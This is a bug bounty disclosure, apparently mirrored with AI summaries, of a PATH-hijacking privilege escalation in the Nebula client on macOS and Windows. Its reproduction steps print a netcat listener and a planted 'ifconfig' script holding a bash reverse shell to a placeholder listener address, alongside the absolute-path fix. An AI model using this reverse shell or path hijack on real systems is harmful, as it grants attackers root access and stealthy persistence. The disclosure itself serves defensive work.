Relative Path Vulnerability Results in Arbitrary Command Execution/Privilege Escalation
The Nebula client for macOS and Windows invoked system utilities such as ifconfig and netsh by bare name rather than absolute path, so the operating system resolved them through the PATH environment variable. An attacker who could alter PATH and plant a same-named executable in a writable directory could get their program run with the client's root privileges.
- Triaged in 22 days
- Fixed in 34 days
- Paid in 28 days
- Disclosed after 2 months
Overview###
The Nebula clients for Darwin and Windows call relative paths in "exec.Command" to "ifconfig" and "route" executables on Darwin, and to "netsh" on Windows. These commands are entered using relative paths, not absolute paths (such as /sbin/ifconfig). When a binary is run with a relative path, the system uses environmental variables ("PATH") to determine the search order of folders that should be searched for the command run. By modifying the environmental variable, an attacker can prioritize an arbitrary path containing a binary of the same name, and it will execute when Nebula runs.
The affected code can be found at https://github.com/slackhq/nebula/search?q=exec.Command&unscoped_q=exec.Command); specifically:
nebula/tun_darwin.go:45 nebula/tun_darwin.go:48 nebula/tun_darwin.go:51 nebula/tun_darwin.go:56 nebula/tun_windows:50 nebula/tun_windows:60
###Steps### To reproduce this attack, open a terminal on a MacOS system running the Darwin Nebula client and a terminal on a Linux or MacOS system to catch the shell. Perform the following steps:
- On a host accessible to the MacOS system, run the following command to start a Netcat listener:
sudo nc -nvlp 443
-
On the MacOS system with the Nebula client, run the command "whoami" (or id) and "hostname"
-
Nebula attempts to call the "ifconfig" command, including three variables. A script file containing a pass-through to ifconfig must be created, but should include a bash reverse shell connecting to the IP address of the system in step 1 ("LISTENER_IP_ADDRESS"). Create a file in the /tmp/ folder called "ifconfig". Enter the following code the file:
#!/bin/bash
bash -i >& /dev/tcp/LISTENER_IP_ADDRESS/443 0>&1 &
DEVICE=$1
CIDER=$2
IP=$3
/sbin/ifconfig $1 $2 $3
4. Make the script executable by running `chmod +x /tmp/ifconfig`
5. Run the Nebula client with the command `sudo ./nebula -config config.yml`. When the ifconfig command is called, it will execute the reverse shell command in the script and then continue connecting.
6. On the host in step 1, a reverse Bash shell connects. Run the command "whoami" (or id) and "hostname" and verify the user is now root, and the hostname is the hostname of the MacOS computer in step 2.
Note: To perform this attack on Windows, a custom binary would need to be compiled and named "netsh" but the principles are the same on each OS.
###Resolution###
Modify the paths on the affected lines to absolute paths. For example, line 45 of nebula/tun_darwin.go reads:
```if err = exec.Command("ifconfig", c.Device, c.Cidr.String(), c.Cidr.IP.String()).Run(); err != nil {```
Modify this snippet to provide an absolute path, as shown below:
```if err = exec.Command("/sbin/ifconfig", c.Device, c.Cidr.String(), c.Cidr.IP.String()).Run(); err != nil```
## Impact
Because Nebula must be run with root/sudo permissions, this can be an effective privilege escalation technique. A standard user can modify the environment and create files in /tmp, and when Nebula is run, the command will open a reverse shell as the root user (see screenshots). Additionally, this could be used to maintain stealthy persistence on an affected machine. Because Nebula must restart to pick up changes to the config.yaml (such as firewall rules), it is reasonable to believe an attacker with presence on the box could modify the PATH settings and script, and the process would be restarted at some point in the future.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The client called external utilities by name only, letting the PATH environment variable decide which executable was launched.
Impact
Because the client runs with root or sudo rights, a local user who can change PATH and write to a searched folder could gain root command execution and possibly stealthy persistence.
What the attacker needed
Local access to the machine; ability to write to a PATH folder; ability to change PATH for the client; client started with sudo/root
The fix
The affected calls should use absolute paths to the system utilities instead of bare names.
How it was found
- Start a listener on a host the target machine can reach.
- Note the username and hostname on the machine running the client.
- Create an executable script named ifconfig in a writable folder that opens a reverse shell and then calls the real ifconfig.
- Make the script executable.
- Run the Nebula client with sudo so it picks up the planted script.
- Confirm the reverse shell arrives and check that it is running as root on the target host.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a program asks the computer to run another program, it can give either a full address or just a name. If it gives just a name, the computer searches a list of folders called PATH, in order, for something matching. If an attacker can put their own file with that name into a folder that is searched first, their file runs instead of the real one, and here it runs with administrator rights.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.